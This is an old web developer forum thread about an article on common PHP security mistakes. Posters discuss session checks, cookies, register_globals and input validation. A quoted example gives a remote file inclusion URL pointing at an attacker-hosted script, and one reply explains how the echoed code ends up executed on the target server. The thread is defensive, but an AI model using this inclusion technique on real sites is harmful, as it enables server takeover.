Development Articles
 
Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
User Name:
Password:
Remember me
Go Back   Dev Shed ForumsOtherDevelopment Articles

Reply
Add This Thread To:
  Del.icio.us   Digg   Google   Spurl   Blink   Furl   Simpy   Y! MyWeb 
Thread Tools Search this Thread Rate Thread Display Modes
 
Unread Dev Shed Forums Sponsor:
  #1  
Old June 9th, 2004, 11:35 AM
Admin Admin is offline
Developer Shed
Dev Shed Novice (500 - 999 posts)
 
Join Date: Jan 2004
Posts: 961 Admin User rank is Sergeant Major (2000 - 5000 Reputation Level)Admin User rank is Sergeant Major (2000 - 5000 Reputation Level)Admin User rank is Sergeant Major (2000 - 5000 Reputation Level)Admin User rank is Sergeant Major (2000 - 5000 Reputation Level)Admin User rank is Sergeant Major (2000 - 5000 Reputation Level)Admin User rank is Sergeant Major (2000 - 5000 Reputation Level) 
Time spent in forums: < 1 sec
Reputation Power: 0
Article Discussion: PHP Security Mistakes

The purpose of this document is to inform PHP programmers of common security mistakes that can be overlooked in PHP scripts. While many of the following concepts may appear to be common sense, they are unfortunately not always common practice. After applying the following practices to your coding, you will be able to eliminate the vast majority of security holes that plague many scripts. Many of these security holes have been found in widely-used open source and commercial PHP scripts in the past.


Read the full article here: PHP Security Mistakes

Reply With Quote
  #2  
Old June 10th, 2004, 12:07 AM
and_tad_isz_dca and_tad_isz_dca is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: May 2004
Posts: 9 and_tad_isz_dca User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 1 h 55 sec
Reputation Power: 0
Question What about validating the login every time isn't scalable?

Tip 5 in the article "PHP Security Mistakes" suggests either using sessions or validating the login every time to protect functionality that requires special privileges. I've been working on a solution to this sort of problem, and I think validating the login every time is much safer. Yet at the end of this tip, the author says, "Personally I recommend using sessions, as the latter solution is not scalable."

I really don't understand what the author means when he says "the latter solution is not scalable." Clearly it's slower, but just how much slower really depends on many things. How fast is the communication path between the PHP application and the database server? How good is the database engine about caching frequently accessed data? How fast are the processors the PHP engine and the database engine are running on, and how loaded are they? Likewise for disk access times.

But if any of those are limiting factors, hardware's pretty cheap nowadays. The increased security from validating the login every time seems more than worth it to me to pay the price of a slight performance hit with every webpage. So exactly what about that solution is not scalable?

Reply With Quote
  #3  
Old June 10th, 2004, 12:55 AM
dejaone dejaone is offline
Contributing User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Mar 2004
Posts: 300 dejaone User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 8 h 7 m 22 sec
Reputation Power: 5
application security is not limited to programming security. To protect sebsitive information, the option is to use SSL to secure session, or even smart card (SecureId).

Reply With Quote
  #4  
Old June 10th, 2004, 01:50 AM
IceNine's Avatar
IceNine IceNine is offline
Call of Booty
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Nov 2003
Posts: 252 IceNine User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 2 h 26 m 29 sec
Reputation Power: 6
Another simple yet effective thing to mention: If you have a numeric-only variable coming in through a $_GET variable like 'http://foobar.com?id=1', use is_numeric() to validate before letting it run the SQL gaunlet.
PHP Code:
if(!is_numeric($_GET['id'])) die('That is an invalid id'); 

Reply With Quote
  #5  
Old June 10th, 2004, 03:44 AM
a.koepke's Avatar
a.koepke a.koepke is offline
Second highest poster :p
Dev Shed God 5th Plane (7000 - 7499 posts)
 
Join Date: Jul 2001
Posts: 7,323 a.koepke User rank is Sergeant (500 - 2000 Reputation Level)a.koepke User rank is Sergeant (500 - 2000 Reputation Level)a.koepke User rank is Sergeant (500 - 2000 Reputation Level)a.koepke User rank is Sergeant (500 - 2000 Reputation Level)a.koepke User rank is Sergeant (500 - 2000 Reputation Level) 
Time spent in forums: 8 h 13 m 55 sec
Reputation Power: 27
Quote:
On many PHP installations, the include() and require() functions can include remote files. If the malicious user were to call your script like this:

script.php?page=http://mysite.com/evilscript.php

He would be able to have evilscript.php output any PHP code that he or she wanted your script to execute.


That is a load of crap. RTFM

Quote:
If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using a URL (via HTTP or other supported wrapper - see Appendix J for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using a URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.


Compare that to what the author writes. He is saying that YOUR script would execute the code, that is false.
__________________
- Andreas Koepke

Koepke Photography


Reply With Quote
  #6  
Old June 10th, 2004, 10:35 AM
trollll trollll is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Jun 2004
Posts: 2 trollll User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: < 1 sec
Reputation Power: 0
tip 5 recommends a very bad idea

i completely agree that you should validate every page load, but not like that... you should never store the username and password in a cookie! i don't care if you hash them both first, any determined attacker can find out the original values if you do that. then they can can log in just like any regular user.

i would hope that they couldn't log in just by copying the cookie contents into their own cookie, since the username and password hopefully at the very least got hashed with the user's IP address, login time, etc.

kind of disappointing, since the author recommended some decent tips for php developers new to security up until then.

Reply With Quote
  #7  
Old June 10th, 2004, 11:08 AM
Frash Frash is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Nov 2003
Posts: 16 Frash User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: < 1 sec
Reputation Power: 0
Great article. I noticed the inclusion issue at alot of sites aswell. Rather stupid indeed. I think PHP being so user friendly is its weak aswell since alot people will forget these kind of issues.

Reply With Quote
  #8  
Old June 10th, 2004, 12:59 PM
and_tad_isz_dca and_tad_isz_dca is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: May 2004
Posts: 9 and_tad_isz_dca User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 1 h 55 sec
Reputation Power: 0
Question Thoughts on cookies. Will this keep them secure?

Quote:
Originally Posted by trollll
i completely agree that you should validate every page load, but not like that... you should never store the username and password in a cookie! i don't care if you hash them both first, any determined attacker can find out the original values if you do that. then they can can log in just like any regular user.

Actually, I've been thinking of doing something like that as a security measure. I'm setting up a system that people will log into, but it's not the typical e-commerce site where people create their own accounts. There will be a privileged user who creates accounts.

When the normal user wants to log in, I'm going to force the URL to "https://...". So when they enter their user id and password into a form, it travels encrypted across the SSL connection, gets decrypted by SSL at the receiving end and is delivered to my PHP script in plaintext in $_POST[] variables. At that point, I need to store the data somewhere for the next page load. I don't want to store it in $_SESSION, because that data is stored in plaintext in a file in /tmp. I've looked at installing my own session handler to encrypt the information, but I've got a chicken and the egg problem which means that that solution won't help me.

The only other option I can think of is to ship it back to the user in a session cookie. That brings up two questions:

1) I know that when the user sends data to a URL beginning with "https://..." SSL is invoked and the data traveling to the server is encrypted before it's sent. But what happens when the server sends its reply back? Can I count on the server's reply, including the cookies my PHP script sends, also being encrypted when on the wire?

2) After the cookies get across the wire and back to the user's browser, I don't want them written out to disk. I've been hoping if I specify the cookies' lifetime as being the current session, that the browser will maintain them in its memory and not store them on disk. But it seems like this could vary from one browser to another. Does anyone know if my assumption is valid for some or all browsers, and if so for which browsers? I know that any part of the browser's memory could get written out to swap space, and if someone had a high enough level of access to the user's system and was determined enough, they could prowl through the swap space looking for unencrypted passwords. But that's really beyond my control. At the moment, I'm just concerned about whether cookies with a session lifetime are ever written to files in the filesystem, or if I can count on them residing exclusively in memory allocated to the process running the browser.

Reply With Quote
  #9  
Old June 10th, 2004, 05:59 PM
EAD's Avatar
EAD EAD is offline
Contributing User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Oct 2002
Location: an hour away from L.A., California
Posts: 132 EAD User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 18 h 11 m 40 sec
Reputation Power: 7
How to work-around?

I see that my hosting company has register_globals = ON. I am going to send them a link to this article and see about them turning if OFF. But I wonder how this could affect php coding on all other sites on the same server?

Is there a way for me to individually set register_globals = OFF on each page of my site, in case they say they don't want to turn register_globals off?

Reply With Quote
  #10  
Old June 11th, 2004, 11:04 AM
trollll trollll is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Jun 2004
Posts: 2 trollll User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: < 1 sec
Reputation Power: 0
Quote:
Originally Posted by and_tad_isz_dca
1) I know that when the user sends data to a URL beginning with "https://..." SSL is invoked and the data traveling to the server is encrypted before it's sent. But what happens when the server sends its reply back? Can I count on the server's reply, including the cookies my PHP script sends, also being encrypted when on the wire?
the server's reply should get encrypted, yes. if you want to test that, just sniff the socket on your own machine while testing.


Quote:
Originally Posted by and_tad_isz_dca
2) After the cookies get across the wire and back to the user's browser, I don't want them written out to disk. I've been hoping if I specify the cookies' lifetime as being the current session, that the browser will maintain them in its memory and not store them on disk. But it seems like this could vary from one browser to another. Does anyone know if my assumption is valid for some or all browsers, and if so for which browsers? I know that any part of the browser's memory could get written out to swap space, and if someone had a high enough level of access to the user's system and was determined enough, they could prowl through the swap space looking for unencrypted passwords. But that's really beyond my control. At the moment, I'm just concerned about whether cookies with a session lifetime are ever written to files in the filesystem, or if I can count on them residing exclusively in memory allocated to the process running the browser.
many browsers write the cookies to disk pretty much as soon as they get them, at least in my experience. even if they only keep it in memory and don't write to disk, the data will still exist in the memory for someone to nab (think shared computer, someone has a hack to snag data from ram). when dealing with sessions and cookies, always assume that anyone will have access to the unencrypted values making up the cookie.

i'd recommend reading the open web application security project's guide to building secure web applications (specifically, chaper 7, managing user sessions). it doesn't have all the answers, but it works for a good start.

Reply With Quote
  #11  
Old June 16th, 2004, 08:43 AM
wimvds wimvds is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Mar 2004
Posts: 3 wimvds User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: < 1 sec
Reputation Power: 0
Thumbs down

Quote:
Originally Posted by a.koepke
That is a load of crap. RTFM


It's not a load of crap, if the author of the original script is either braindead or doesn't actually care/know anything about basic security measures. Maybe you should RTFM first.

If the script.php script contains a simple include of the page var provided in the URL without any sanity checks (as mentioned in the article), you can quite easily have it include your own PHP code. The only thing you have to do is have the remote (malicious) script echo the PHP code you want to execute on the target server. Since you echo it, the result of the include is your PHP source, which then gets included (and executed) on the target server. So, the author is right, you are wrong.

Reply With Quote
  #12  
Old June 23rd, 2004, 03:56 PM
digi_d digi_d is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Nov 2003
Posts: 1 digi_d User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: < 1 sec
Reputation Power: 0
PHP Sessiob/Browser problem

Hi,

I've created a php web application that requires user login. After validating his UserID & PWD thru the MySQL db, I also create the session and store one the var as:
$_SESSION["usedID"]


The problem is that if I log in to one browser and than close the borwser(without clicking the logout button) and open a new browser, I will still be logged in. So the browser dosen't starts a new session, but continues with the old one. Eventhough, every page in my application checks for that session variable: if( $_SESSION['userID'] )

Can u help me with this?

thanks
-digi_d

Reply With Quote
  #13  
Old December 27th, 2004, 02:41 PM
keith73 keith73 is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Dec 2004
Location: NJ
Posts: 1 keith73 User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: < 1 sec
Reputation Power: 0
using .inc files

what you said about .inc files is important, but not the only solution. on my servers I take several precautions.

1) the .inc files are sent through the php parser so if someone did happen to get a url to one, it would still get parsed and probably spit out an error message.

2) nobody will ever be able to hit a .inc file on my sites via a url. all of my .inc files get stored in directories that are either outside the document root or are in .htaccess protected directories. PHP includes them through the file system, they are never accessed via http protocols so as long as they are protected there is not an issue.

- keith

Reply With Quote
Reply

Viewing: Dev Shed ForumsOtherDevelopment Articles > Article Discussion: PHP Security Mistakes


Thread Tools  Search this Thread 
Search this Thread:

Advanced Search
Display Modes  Rate This Thread 
Rate This Thread:


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
View Your Warnings | New Posts | Latest News | Latest Threads | Shoutbox
Forum Jump